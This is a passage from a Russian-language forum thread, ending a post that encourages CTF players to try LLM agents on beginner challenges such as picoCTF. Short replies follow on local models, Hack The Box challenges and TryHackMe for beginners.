Если вы CTF-игрок и ещё не экспериментировали с LLM-агентами - начните сегодня. Не потому что «AI заменит хакеров» (не заменит, не на нашем веку). А потому что человек с AI-агентом решает больше задач, чем человек без него. По данным исследований, парный хакинг - человек плюс искусственный интеллект в кибербезопасности - бьёт каждого по отдельности.
Три конкретных действия: - Соберите базового агента по инструкции выше и прогоните его на picoCTF - задачи начального уровня. Увидите, где он тащит, а где нет.
- Заведите привычку на каждом CTF первые 5 минут задачи отдавать агенту, пока сами читаете условие.
- Копайте промпт-инжиниринг для CTF-контекста - правильный системный промпт агента важнее, чем модель. Разница между «решил» и «зациклился» часто в одной строке инструкции.
Автоматизированный хакинг уже здесь. Вопрос в том, вы используете этот инструмент - или проигрываете тем, кто использует.
|
|
|

05.04.2026, 01:12
|
|
Новичок
Регистрация: 04.04.2026
Сообщений: 0
С нами:
61513
Репутация:
0
|
|
Это локальный AI агент?
|
|
|

06.04.2026, 22:50
|
|
Новичок
Регистрация: 14.08.2015
Сообщений: 0
С нами:
5656404
Репутация:
0
|
|
Volnodumec сказал(а):
Это локальный AI агент?
Агент может использовать любой LLM, в том числе и локальные версии, если я правильно понял вопрос
|
|
|

13.04.2026, 17:26
|
|
Новичок
Регистрация: 29.08.2023
Сообщений: 0
С нами:
1427397
Репутация:
0
|
|
delifer сказал(а):
На HTB нет стандартных CTF-категорий
На самом деле есть, раздел Challenges
|
|
|

13.04.2026, 17:34
|
|
Новичок
Регистрация: 29.08.2023
Сообщений: 0
С нами:
1427397
Репутация:
0
|
|
Новичкам рекомендую начинать с Try Hack Me, там много бесплатных хороших обучающих комнат + ctf заданий
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|